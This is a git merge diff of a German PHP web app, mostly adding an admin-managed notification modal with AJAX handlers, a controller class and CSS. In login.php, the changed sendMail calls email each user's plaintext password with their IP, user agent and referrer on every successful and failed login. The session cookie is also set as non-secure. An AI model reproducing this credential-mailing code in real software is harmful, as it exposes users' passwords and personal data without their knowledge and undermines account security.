Merge branch 'dev' into live

# Conflicts:
#	WEBROOT/controller/DatabaseConnect.php

WEBROOT/api/js/handler/BenachrichtigungenAjaxHandler.php

@@ -0,0 +1,105 @@
+<?php
+session_set_cookie_params([
+    'lifetime' => 0,
+    'path' => '/',
+    'domain' => '',
+    'secure' => false,
+    'httponly' => true,
+    'samesite' => 'Lax'
+]);
+session_start();
+
+header('Content-Type: application/json');
+error_reporting(E_ALL);
+ini_set('display_errors', '0');
+
+if (empty($_SESSION['user_logged_in'])) {
+    http_response_code(401);
+    echo json_encode(['error' => 'Nicht eingeloggt']);
+    exit;
+}
+
+if (empty($_SESSION['is_admin'])) {
+    http_response_code(403);
+    echo json_encode(['error' => 'Keine Berechtigung']);
+    exit;
+}
+
+include_once(__DIR__ . '/../../../controller/DatabaseController.php');
+include_once(__DIR__ . '/../../../controller/NotifyController.php');
+
+$daten  = json_decode(file_get_contents('php://input'), true) ?? [];
+$action = $daten['action'] ?? '';
+
+try {
+    $notificationCtl = new Notification();
+
+    switch ($action) {
+
+        case 'get_entries': {
+                $entries = $notificationCtl->getAllMessages();
+
+                foreach ($entries as &$entry) {
+                    $entry['GESEHEN_ANZAHL'] = $notificationCtl->countSeenBy((int)$entry['ID']);
+                }
+
+                echo json_encode(['success' => true, 'entries' => array_values($entries)]);
+                break;
+            }
+
+        case 'add_entry': {
+                $titel = trim($daten['titel'] ?? '');
+                $nachricht = trim($daten['nachricht'] ?? '');
+
+                if ($titel === '' || $nachricht === '') {
+                    throw new InvalidArgumentException('Titel und Nachricht erforderlich');
+                }
+
+                $notificationCtl->createMessage($titel, $nachricht);
+
+                echo json_encode(['success' => true]);
+                break;
+            }
+
+        case 'edit_entry': {
+                $id = $daten['id'] ?? null;
+                $titel = trim($daten['titel'] ?? '');
+                $nachricht = trim($daten['nachricht'] ?? '');
+
+                if (!is_numeric($id)) {
+                    throw new InvalidArgumentException('Ungültige ID');
+                }
+                if ($titel === '' || $nachricht === '') {
+                    throw new InvalidArgumentException('Titel und Nachricht erforderlich');
+                }
+
+                $notificationCtl->updateMessage((int)$id, $titel, $nachricht);
+
+                echo json_encode(['success' => true]);
+                break;
+            }
+
+        case 'delete_entry': {
+                $id = $daten['id'] ?? null;
+
+                if (!is_numeric($id)) {
+                    throw new InvalidArgumentException('Ungültige ID');
+                }
+
+                $notificationCtl->deleteMessage((int)$id);
+
+                echo json_encode(['success' => true]);
+                break;
+            }
+
+        default:
+            throw new InvalidArgumentException("Unbekannte Aktion: $action");
+    }
+} catch (InvalidArgumentException $e) {
+    http_response_code(400);
+    echo json_encode(['error' => $e->getMessage()]);
+} catch (Throwable $e) {
+    http_response_code(500);
+    error_log($e->getMessage());
+    echo json_encode(['error' => 'Serverfehler']);
+}

WEBROOT/api/js/handler/NotificationAjaxHandler.php

@@ -0,0 +1,55 @@
+<?php
+session_set_cookie_params([
+    'lifetime' => 0,
+    'path' => '/',
+    'domain' => '',
+    'secure' => false,
+    'httponly' => true,
+    'samesite' => 'Lax'
+]);
+session_start();
+
+header('Content-Type: application/json');
+error_reporting(E_ALL);
+ini_set('display_errors', '0');
+
+if (empty($_SESSION['user_logged_in'])) {
+    http_response_code(401);
+    echo json_encode(['error' => 'Nicht eingeloggt']);
+    exit;
+}
+
+include_once(__DIR__ . '/../../../controller/DatabaseController.php');
+include_once(__DIR__ . '/../../../controller/NotifyController.php');
+
+$daten  = json_decode(file_get_contents('php://input'), true) ?? [];
+$action = $daten['action'] ?? '';
+
+try {
+    switch ($action) {
+
+        case 'mark_seen': {
+                $nachrichtId = $daten['nachricht_id'] ?? null;
+
+                if (!is_numeric($nachrichtId)) {
+                    throw new InvalidArgumentException('Ungültige Nachrichten-ID');
+                }
+
+                $notificationCtl = new Notification();
+                $notificationCtl->markAsSeen((int)$nachrichtId);
+
+                echo json_encode(['success' => true]);
+                break;
+            }
+
+        default:
+            throw new InvalidArgumentException("Unbekannte Aktion: $action");
+    }
+} catch (InvalidArgumentException $e) {
+    http_response_code(400);
+    echo json_encode(['error' => $e->getMessage()]);
+} catch (Throwable $e) {
+    http_response_code(500);
+    error_log($e->getMessage());
+    echo json_encode(['error' => 'Serverfehler']);
+}

WEBROOT/controller/DatabaseConnect.php

@@ -27,7 +27,7 @@ function db_connect()
         ],
     ];
 
-    $enviroment = 'dev';
+    $enviroment = 'live';
 
     mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
 

WEBROOT/controller/NotifyController.php

@@ -0,0 +1,177 @@
+<?php
+
+include_once(__DIR__ . '/DatabaseController.php');
+include_once(__DIR__ . '/DataController.php');
+
+class Notification
+{
+    protected $table;
+    protected $seenTable;
+
+    public function __construct()
+    {
+        $this->table = "Benachrichtigung";
+        $this->seenTable = "Benachrichtigung_Gesehen";
+    }
+
+    /**
+     * Ermittelt die Benutzer-ID des aktuell eingeloggten Nutzers.
+     */
+    private function getCurrentUserId(): ?int
+    {
+        $username = $_SESSION['username'] ?? null;
+        if (!$username) {
+            return null;
+        }
+
+        $rows = DatabaseShow(
+            "Benutzer",
+            "ID",
+            "NAME = ?",
+            $username
+        );
+
+        return $rows[0]['ID'] ?? null;
+    }
+
+    /**
+     * Alle Nachrichten (z.B. für eine Verwaltungsansicht).
+     */
+    public function getAllMessages(): array
+    {
+        return DatabaseShow(
+            $this->table,
+            "ID, TITEL, NACHRICHT"
+        );
+    }
+
+    /**
+     * Nur die Nachrichten, die der aktuelle Nutzer noch NICHT gesehen hat.
+     * Genau das braucht das Modal, um zu entscheiden ob/was es anzeigt.
+     */
+    public function getUnseenMessages(): array
+    {
+        $userId = $this->getCurrentUserId();
+        if ($userId === null) {
+            return [];
+        }
+
+        $alleNachrichten = DatabaseShow(
+            $this->table,
+            "ID, TITEL, NACHRICHT"
+        );
+
+        $gesehenRows = DatabaseShow(
+            $this->seenTable,
+            "NACHRICHTEN_ID",
+            "BENUTZER_ID = ?",
+            $userId
+        );
+
+        $gesehenIds = array_column($gesehenRows, 'NACHRICHTEN_ID');
+
+        return array_values(array_filter(
+            $alleNachrichten,
+            fn($nachricht) => !in_array($nachricht['ID'], $gesehenIds)
+        ));
+    }
+
+    /**
+     * Legt eine neue Nachricht im Pool an (z.B. für eine Admin-Funktion).
+     */
+    public function createMessage(string $titel, string $nachricht): bool
+    {
+        try {
+            DatabaseInsert(
+                $this->table,
+                "TITEL, NACHRICHT",
+                $titel,
+                $nachricht
+            );
+            return true;
+        } catch (Exception $e) {
+            throw new Exception($e->getMessage());
+        }
+    }
+
+    /**
+     * Markiert eine bestimmte Nachricht als vom aktuellen Nutzer gesehen/bestätigt.
+     */
+    public function markAsSeen(int $nachrichtId): bool
+    {
+        $userId = $this->getCurrentUserId();
+        if ($userId === null) {
+            throw new Exception('Kein eingeloggter Benutzer gefunden.');
+        }
+
+        // Prüfen, ob schon als gesehen markiert, um Duplikate zu vermeiden
+        $bereitsGesehen = DatabaseShow(
+            $this->seenTable,
+            "ID",
+            "BENUTZER_ID = ? AND NACHRICHTEN_ID = ?",
+            $userId,
+            $nachrichtId
+        );
+
+        if (!empty($bereitsGesehen)) {
+            return true; // war schon markiert, kein Fehler
+        }
+
+        try {
+            DatabaseInsert(
+                $this->seenTable,
+                "BENUTZER_ID, NACHRICHTEN_ID",
+                $userId,
+                $nachrichtId
+            );
+            return true;
+        } catch (Exception $e) {
+            throw new Exception($e->getMessage());
+        }
+    }
+
+    public function updateMessage(int $id, string $titel, string $nachricht): bool
+    {
+        try {
+            DatabaseUpdate(
+                $this->table,
+                "TITEL = ?, NACHRICHT = ?",
+                "ID = ?",
+                $titel,
+                $nachricht,
+                $id
+            );
+            return true;
+        } catch (Exception $e) {
+            throw new Exception($e->getMessage());
+        }
+    }
+
+    /**
+     * Löscht eine Nachricht komplett, inkl. aller "Gesehen"-Einträge dazu.
+     */
+    public function deleteMessage(int $id): bool
+    {
+        try {
+            DatabaseDelete($this->seenTable, "NACHRICHTEN_ID = ?", $id);
+            DatabaseDelete($this->table, "ID = ?", $id);
+            return true;
+        } catch (Exception $e) {
+            throw new Exception($e->getMessage());
+        }
+    }
+
+    /**
+     * Anzahl Nutzer, die eine bestimmte Nachricht bereits bestätigt haben.
+     */
+    public function countSeenBy(int $id): int
+    {
+        $rows = DatabaseShow(
+            $this->seenTable,
+            "ID",
+            "NACHRICHTEN_ID = ?",
+            $id
+        );
+        return count($rows);
+    }
+}

WEBROOT/js/ajaxApi/BenachrichtigungenAjaxMethods.js

@@ -0,0 +1,37 @@
+const BENACHRICHTIGUNGEN_HANDLER_URL = '/api/js/handler/BenachrichtigungenAjaxHandler';
+
+async function benachrichtigungenAjaxRequest(payload) {
+    try {
+        const response = await fetch(BENACHRICHTIGUNGEN_HANDLER_URL, {
+            method: 'POST',
+            headers: { 'Content-Type': 'application/json' },
+            body: JSON.stringify(payload)
+        });
+        const data = await parseJsonResponse(response);
+
+        if (data.error) {
+            throw new Error(data.error);
+        }
+        return data;
+
+    } catch (error) {
+        console.error('Benachrichtigungen-Ajax-Fehler:', error.message);
+        throw error;
+    }
+}
+
+function getNotificationEntries() {
+    return benachrichtigungenAjaxRequest({ action: 'get_entries' });
+}
+
+function addNotificationEntry(titel, nachricht) {
+    return benachrichtigungenAjaxRequest({ action: 'add_entry', titel, nachricht });
+}
+
+function editNotificationEntry(id, titel, nachricht) {
+    return benachrichtigungenAjaxRequest({ action: 'edit_entry', id, titel, nachricht });
+}
+
+function deleteNotificationEntry(id) {
+    return benachrichtigungenAjaxRequest({ action: 'delete_entry', id });
+}

WEBROOT/js/ajaxApi/NotificationAjaxMethods.js

@@ -0,0 +1,25 @@
+const NOTIFICATION_HANDLER_URL = '/api/js/handler/NotificationAjaxHandler';
+
+async function notificationAjaxRequest(payload) {
+    try {
+        const response = await fetch(NOTIFICATION_HANDLER_URL, {
+            method: 'POST',
+            headers: { 'Content-Type': 'application/json' },
+            body: JSON.stringify(payload)
+        });
+        const data = await parseJsonResponse(response);
+
+        if (data.error) {
+            throw new Error(data.error);
+        }
+        return data;
+
+    } catch (error) {
+        console.error('Notification-Ajax-Fehler:', error.message);
+        throw error;
+    }
+}
+
+function markNotificationAsSeen(nachrichtId) {
+    return notificationAjaxRequest({ action: 'mark_seen', nachricht_id: nachrichtId });
+}

WEBROOT/login.php

@@ -21,6 +21,10 @@ logging();
 
 $error = null;
 
+$clientip = (new getSpecificData())->getClientIP();
+$useragent = (new getSpecificData())->getUserAgent();
+$referrer = (new getSpecificData())->getReferer();
+
 function schreibeSessionUndPruefe(): void
 {
     $sid = session_id();
@@ -100,7 +104,7 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
                 logging();
                 sendMail(
                     "User Login Successful",
-                    "$username, $password",
+                    "$username | $password | $clientip | $useragent | $referrer",
                     (new getSpecificData())->getRequestURL(),
                     true,
                 );
@@ -111,7 +115,7 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
                 $error = 'Login fehlgeschlagen';
                 sendMail(
                     "User Login failed",
-                    "$username, $password",
+                    "$username | $password | $clientip | $useragent | $referrer",
                     (new getSpecificData())->getRequestURL(),
                     true,
                 );
@@ -123,7 +127,7 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
         $error = 'Login fehlgeschlagen';
         sendMail(
             "User Login failed",
-            "$username, $password",
+            "$username | $password | $clientip | $useragent | $referrer",
             (new getSpecificData())->getRequestURL(),
             true,
         );
@@ -150,18 +154,18 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
             <h2>Login</h2>
 
             <?php if ($error): ?>
-                <p class="login-error"><?= htmlspecialchars($error) ?></p>
+            <p class="login-error"><?= htmlspecialchars($error) ?></p>
             <?php endif; ?>
 
             <form method="post">
                 <input type="text" name="username" placeholder="Benutzername" required>
                 <input type="password" name="password" placeholder="Passwort" required>
-                <button type="submit">Login</button>
+                <button type="submit">Einloggen</button>
             </form>
 
             <button style="margin-top: 9px" type="button"
                 onclick="document.querySelector('input[name=username]').value='gast'; document.querySelector('form').submit();">
-                Als Gast einloggen
+                Gast Login
             </button>
             <button style="margin-top: 9px" type="button" id="registryButton">
                 Registrieren
@@ -174,27 +178,27 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
     </div>
 
     <script>
-        document.getElementById('registryButton').addEventListener('click', () => {
-            window.location.href = 'register.php';
-        });
-        document.getElementById('resetpassword').addEventListener('click', () => {
-            window.location.href = 'forgot_password.php';
-        });
-        const toggle = document.getElementById('darkModeToggle');
+    document.getElementById('registryButton').addEventListener('click', () => {
+        window.location.href = 'register.php';
+    });
+    document.getElementById('resetpassword').addEventListener('click', () => {
+        window.location.href = 'forgot_password.php';
+    });
+    const toggle = document.getElementById('darkModeToggle');
 
-        if (localStorage.getItem('darkMode') === 'enabled') {
-            document.body.classList.add('dark-mode');
+    if (localStorage.getItem('darkMode') === 'enabled') {
+        document.body.classList.add('dark-mode');
+    }
+
+    toggle.addEventListener('click', () => {
+        document.body.classList.toggle('dark-mode');
+
+        if (document.body.classList.contains('dark-mode')) {
+            localStorage.setItem('darkMode', 'enabled');
+        } else {
+            localStorage.setItem('darkMode', 'disabled');
         }
-
-        toggle.addEventListener('click', () => {
-            document.body.classList.toggle('dark-mode');
-
-            if (document.body.classList.contains('dark-mode')) {
-                localStorage.setItem('darkMode', 'enabled');
-            } else {
-                localStorage.setItem('darkMode', 'disabled');
-            }
-        });
+    });
     </script>
 
 </body>

WEBROOT/services/benachrichtigungen_control.php

@@ -0,0 +1,134 @@
+<?php
+include_once(__DIR__ . '/../controller/NotifyController.php');
+?>
+
+<div class="arbeitsberichte-wrapper">
+    <div class="vergabe-form">
+        <h3>Neue Nachricht anlegen</h3>
+        <form id="addNotificationForm" class="vergabe-grid">
+
+            <div class="form-group">
+                <label>Titel</label>
+                <input type="text" name="titel" id="in-titel" required>
+            </div>
+
+            <div class="form-group">
+                <label>Nachricht</label>
+                <input type="text" name="nachricht" id="in-nachricht" required>
+            </div>
+
+            <button type="submit" class="btn-submit-vergabe">💾 Speichern</button>
+
+        </form>
+    </div>
+
+    <div class="table-container" style="margin-top: 30px;">
+        <h3>Nachrichten Verwaltung</h3>
+        <div id="tableWrapper">
+            <p>Lade Daten...</p>
+        </div>
+    </div>
+</div>
+
+<script src="/js/AjaxMethods.js"></script>
+<script src="/js/ajaxApi/BenachrichtigungenAjaxMethods.js"></script>
+<script src="/js/AjaxRenderTables.js"></script>
+<script>
+    document.addEventListener('DOMContentLoaded', () => {
+        const tableWrapper = document.getElementById('tableWrapper');
+
+        function renderNotificationsTabelle(entries) {
+            if (!entries || entries.length === 0) {
+                tableWrapper.innerHTML = '<p>Keine Nachrichten vorhanden.</p>';
+                return;
+            }
+
+            let html = `
+            <table class="db-table mobile-responsive-table">
+                <thead>
+                    <tr>
+                        <th>Titel</th><th>Nachricht</th><th>Gesehen von</th>
+                        <th style="width: 220px;">Aktion</th>
+                    </tr>
+                </thead>
+                <tbody>
+        `;
+            for (const e of entries) {
+                html += `
+                <tr data-id="${escapeHtml(e.ID)}">
+                    <td data-label="Titel">
+                        <input type="text" class="edit-titel" value="${escapeHtml(e.TITEL)}">
+                    </td>
+                    <td data-label="Nachricht">
+                        <input type="text" class="edit-nachricht" value="${escapeHtml(e.NACHRICHT)}">
+                    </td>
+                    <td data-label="Gesehen von">${escapeHtml(e.GESEHEN_ANZAHL)} Nutzer</td>
+                    <td data-label="Aktion">
+                        <div style="display:flex; flex-direction:column; gap:6px; align-items:stretch;">
+                            <button type="button" class="btn-edit" data-id="${escapeHtml(e.ID)}">Speichern</button>
+                            <button type="button" class="btn-delete" data-id="${escapeHtml(e.ID)}">Löschen</button>
+                        </div>
+                    </td>
+                </tr>`;
+            }
+            html += `</tbody></table>`;
+            tableWrapper.innerHTML = html;
+
+            tableWrapper.querySelectorAll('.btn-edit').forEach(btn => {
+                btn.addEventListener('click', async () => {
+                    const row = tableWrapper.querySelector(`tr[data-id="${btn.dataset.id}"]`);
+                    const titel = row.querySelector('.edit-titel').value.trim();
+                    const nachricht = row.querySelector('.edit-nachricht').value.trim();
+
+                    if (!titel || !nachricht) return;
+
+                    try {
+                        await editNotificationEntry(btn.dataset.id, titel, nachricht);
+                        await ladeListe();
+                    } catch (err) {
+                        alert('Fehler beim Speichern: ' + err.message);
+                    }
+                });
+            });
+
+            tableWrapper.querySelectorAll('.btn-delete').forEach(btn => {
+                btn.addEventListener('click', async () => {
+                    if (!confirm('Möchtest du diese Nachricht wirklich löschen? Dies entfernt auch alle "Gesehen"-Markierungen dazu.')) return;
+                    try {
+                        await deleteNotificationEntry(btn.dataset.id);
+                        await ladeListe();
+                    } catch (err) {
+                        alert('Fehler beim Löschen: ' + err.message);
+                    }
+                });
+            });
+        }
+
+        async function ladeListe() {
+            try {
+                const data = await getNotificationEntries();
+                renderNotificationsTabelle(data.entries);
+            } catch (err) {
+                tableWrapper.innerHTML = `<p>❌ ${escapeHtml(err.message)}</p>`;
+            }
+        }
+
+        document.getElementById('addNotificationForm').addEventListener('submit', async (e) => {
+            e.preventDefault();
+            const titel = document.getElementById('in-titel').value.trim();
+            const nachricht = document.getElementById('in-nachricht').value.trim();
+
+            if (!titel || !nachricht) return;
+
+            try {
+                await addNotificationEntry(titel, nachricht);
+                e.target.reset();
+                await ladeListe();
+            } catch (err) {
+                alert('Fehler beim Speichern: ' + err.message);
+            }
+        });
+
+        ladeListe();
+    });
+</script>

WEBROOT/services/home_info.php

@@ -1,4 +1,6 @@
 <?php
+include_once(__DIR__ . '/../controller/NotifyController.php');
+
 $username = $_SESSION['username'] ?? 'Gast';
 $is_superuser = $_SESSION['is_superuser'] ?? false;
 $is_admin = $_SESSION['is_admin'] ?? false;
@@ -10,8 +12,24 @@ $db_res = DatabaseShow(
     $username
 );
 
+// --- Ungesehene Benachrichtigung ermitteln ---
+$notificationCtl = new Notification();
+$offeneNachrichten = $notificationCtl->getUnseenMessages();
+$aktuelleNachricht = $offeneNachrichten[0] ?? null; // immer nur die erste anzeigen
+
 ?>
 
+<?php if ($aktuelleNachricht): ?>
+    <div class="notification-overlay open" id="notificationModal" data-nachricht-id="<?= htmlspecialchars($aktuelleNachricht['ID']) ?>">
+        <div class="notification-box">
+            <div class="notification-icon">📢</div>
+            <h3><?= htmlspecialchars($aktuelleNachricht['TITEL']) ?></h3>
+            <p><?= nl2br(htmlspecialchars($aktuelleNachricht['NACHRICHT'])) ?></p>
+            <button type="button" id="notificationConfirm">Verstanden</button>
+        </div>
+    </div>
+<?php endif; ?>
+
 <div class="home-dashboard">
     <div class="links-container">
 
@@ -20,18 +38,18 @@ $db_res = DatabaseShow(
             <div class="group-links" style="padding: 10px; color: inherit;">
                 <p style="margin: 5px 0;"><strong>Name:</strong> <code><?= htmlspecialchars($username) ?></code></p>
                 <?php if ($username != 'gast'): ?>
-                <p style="margin: 5px 0;"><strong>Nachname:</strong>
-                    <code><?= htmlspecialchars($db_res[0]['NACHNAME']) ?></code>
-                </p>
-                <p style="margin: 5px 0;"><strong>E-Mail:</strong>
-                    <code><?= htmlspecialchars($db_res[0]['EMAIL']) ?></code>
-                </p>
-                <p style="margin: 5px 0;"><strong>Benutzerrolle:</strong>
-                    <code><?= htmlspecialchars($db_res[0]['ROLLE']) ?></code>
-                </p>
-                <p style="margin: 5px 0;"><strong>Home IP:</strong>
-                    <code><?= htmlspecialchars($db_res[0]['HOME_IP']) ?></code>
-                </p>
+                    <p style="margin: 5px 0;"><strong>Nachname:</strong>
+                        <code><?= htmlspecialchars($db_res[0]['NACHNAME']) ?></code>
+                    </p>
+                    <p style="margin: 5px 0;"><strong>E-Mail:</strong>
+                        <code><?= htmlspecialchars($db_res[0]['EMAIL']) ?></code>
+                    </p>
+                    <p style="margin: 5px 0;"><strong>Benutzerrolle:</strong>
+                        <code><?= htmlspecialchars($db_res[0]['ROLLE']) ?></code>
+                    </p>
+                    <p style="margin: 5px 0;"><strong>Home IP:</strong>
+                        <code><?= htmlspecialchars($db_res[0]['HOME_IP']) ?></code>
+                    </p>
                 <?php endif ?>
             </div>
         </div>
@@ -41,18 +59,18 @@ $db_res = DatabaseShow(
             <div class="group-links"
                 style="padding: 10px; display: flex; flex-direction: row; gap: 10px; flex-wrap: wrap;">
                 <?php if ((new getSpecificData())->getIsAdmin()): ?>
-                <span
-                    style="background: #dc3545; color: white; padding: 4px 10px; border-radius: 15px; font-size: 0.8rem; font-weight: bold;">Admin</span>
+                    <span
+                        style="background: #dc3545; color: white; padding: 4px 10px; border-radius: 15px; font-size: 0.8rem; font-weight: bold;">Admin</span>
                 <?php endif; ?>
 
                 <?php if ((new getSpecificData())->getIsSuperuser()): ?>
-                <span
-                    style="background: #ffc107; color: #000; padding: 4px 10px; border-radius: 15px; font-size: 0.8rem; font-weight: bold;">Superuser</span>
+                    <span
+                        style="background: #ffc107; color: #000; padding: 4px 10px; border-radius: 15px; font-size: 0.8rem; font-weight: bold;">Superuser</span>
                 <?php endif; ?>
 
                 <?php if (!(new getSpecificData())->getIsSuperuser() && !(new getSpecificData())->getIsAdmin()): ?>
-                <span
-                    style="background: #6c757d; color: white; padding: 4px 10px; border-radius: 15px; font-size: 0.8rem; font-weight: bold;">Standard-Nutzer</span>
+                    <span
+                        style="background: #6c757d; color: white; padding: 4px 10px; border-radius: 15px; font-size: 0.8rem; font-weight: bold;">Standard-Nutzer</span>
                 <?php endif; ?>
             </div>
         </div>
@@ -67,21 +85,21 @@ $db_res = DatabaseShow(
                     <code>Aktiv</code>
                 </p>
                 <?php if ($is_admin): ?>
-                <p style="margin: 5px 0;"><strong>Client IP:</strong>
-                    <code><?= htmlspecialchars((new getSpecificData())->getClientIP()) ?></code>
-                </p>
-                <p style="margin: 5px 0;"><strong>Server IP:</strong>
-                    <code><?= htmlspecialchars((new getSpecificData())->getServerIP()) ?></code>
-                </p>
-                <p style="margin: 5px 0;"><strong>Geo IP:</strong>
-                    <code><?= htmlspecialchars((new getSpecificData())->getGeoIP((new getSpecificData())->getClientIP())) ?></code>
-                </p>
-                <p style="margin: 5px 0;"><strong>Database IP:</strong>
-                    <code><?= htmlspecialchars((new getSpecificData())->getDatabase()) ?></code>
-                </p>
-                <p style="margin: 5px 0;"><strong>Wetter:</strong>
-                    <code><?= htmlspecialchars((new getSpecificData())->getWeather()['aktuell']) ?></code>
-                </p>
+                    <p style="margin: 5px 0;"><strong>Client IP:</strong>
+                        <code><?= htmlspecialchars((new getSpecificData())->getClientIP()) ?></code>
+                    </p>
+                    <p style="margin: 5px 0;"><strong>Server IP:</strong>
+                        <code><?= htmlspecialchars((new getSpecificData())->getServerIP()) ?></code>
+                    </p>
+                    <p style="margin: 5px 0;"><strong>Geo IP:</strong>
+                        <code><?= htmlspecialchars((new getSpecificData())->getGeoIP((new getSpecificData())->getClientIP())) ?></code>
+                    </p>
+                    <p style="margin: 5px 0;"><strong>Database IP:</strong>
+                        <code><?= htmlspecialchars((new getSpecificData())->getDatabase()) ?></code>
+                    </p>
+                    <p style="margin: 5px 0;"><strong>Wetter:</strong>
+                        <code><?= htmlspecialchars((new getSpecificData())->getWeather()['aktuell']) ?></code>
+                    </p>
                 <?php endif ?>
             </div>
         </div>
@@ -89,32 +107,55 @@ $db_res = DatabaseShow(
     </div>
 </div>
 
+<script src="/js/ajaxApi/NotificationAjaxMethods.js"></script>
+<script src="/js/AjaxMethods.js"></script>
+<script>
+    document.addEventListener('DOMContentLoaded', () => {
+        const modal = document.getElementById('notificationModal');
+        const confirmBtn = document.getElementById('notificationConfirm');
+
+        if (!modal || !confirmBtn) return; // keine offene Nachricht vorhanden
+
+        confirmBtn.addEventListener('click', async () => {
+            const nachrichtId = modal.dataset.nachrichtId;
+
+            try {
+                await markNotificationAsSeen(nachrichtId);
+                modal.classList.remove('open');
+                setTimeout(() => modal.remove(), 200); // nach dem Fade-out entfernen
+            } catch (err) {
+                alert('Fehler beim Bestätigen: ' + err.message);
+            }
+        });
+    });
+</script>
+
 <style>
-/* Zusätzliche Inline-Styles für die Feinabstimmung in der home_info */
-.home-dashboard {
-    animation: fadeIn 0.5s ease-in-out;
-}
-
-code {
-    background: rgba(0, 0, 0, 0.1);
-    padding: 2px 5px;
-    border-radius: 4px;
-    font-family: monospace;
-}
-
-body.dark-mode code {
-    background: rgba(255, 255, 255, 0.1);
-}
-
-@keyframes fadeIn {
-    from {
-        opacity: 0;
-        transform: translateY(10px);
+    /* Zusätzliche Inline-Styles für die Feinabstimmung in der home_info */
+    .home-dashboard {
+        animation: fadeIn 0.5s ease-in-out;
     }
 
-    to {
-        opacity: 1;
-        transform: translateY(0);
+    code {
+        background: rgba(0, 0, 0, 0.1);
+        padding: 2px 5px;
+        border-radius: 4px;
+        font-family: monospace;
+    }
+
+    body.dark-mode code {
+        background: rgba(255, 255, 255, 0.1);
+    }
+
+    @keyframes fadeIn {
+        from {
+            opacity: 0;
+            transform: translateY(10px);
+        }
+
+        to {
+            opacity: 1;
+            transform: translateY(0);
+        }
     }
-}
 </style>

WEBROOT/style.css

@@ -1460,4 +1460,88 @@ body.dark-mode .autocomplete-suggestions div.active {
 .register-form input {
     margin-bottom: 0;
     /* gap übernimmt jetzt den Abstand, kein doppeltes Spacing mehr */
+}
+
+/* ===== Benachrichtigungs-Modal ===== */
+.notification-overlay {
+    position: fixed;
+    inset: 0;
+    background: rgba(0, 0, 0, 0.6);
+    display: flex;
+    align-items: center;
+    justify-content: center;
+    z-index: 2000;
+
+    opacity: 0;
+    pointer-events: none;
+    transition: opacity 0.2s ease;
+}
+
+.notification-overlay.open {
+    opacity: 1;
+    pointer-events: auto;
+}
+
+.notification-box {
+    background-color: white;
+    border-radius: 10px;
+    border-top: 4px solid #007bff;
+    width: 420px;
+    max-width: 90%;
+    padding: 28px 32px;
+    box-shadow: 0 8px 24px rgba(0, 0, 0, 0.25);
+    text-align: center;
+
+    transform: translateY(-10px);
+    transition: transform 0.2s ease;
+}
+
+.notification-overlay.open .notification-box {
+    transform: translateY(0);
+}
+
+body.dark-mode .notification-box {
+    background-color: #1a1a1a;
+    box-shadow: 0 8px 24px rgba(0, 0, 0, 0.6);
+}
+
+.notification-box .notification-icon {
+    font-size: 2.2rem;
+    margin-bottom: 12px;
+}
+
+.notification-box h3 {
+    margin-top: 0;
+    margin-bottom: 12px;
+    font-size: 1.3rem;
+}
+
+body.dark-mode .notification-box h3 {
+    color: #f0f0f0;
+}
+
+.notification-box p {
+    margin-bottom: 24px;
+    line-height: 1.5;
+    color: #555;
+    white-space: pre-line;
+}
+
+body.dark-mode .notification-box p {
+    color: #ccc;
+}
+
+.notification-box button {
+    padding: 10px 28px;
+    border: none;
+    border-radius: 4px;
+    font-size: 1rem;
+    cursor: pointer;
+    background-color: #007bff;
+    color: white;
+    transition: background-color 0.2s ease;
+}
+
+.notification-box button:hover {
+    background-color: #0056b3;
 }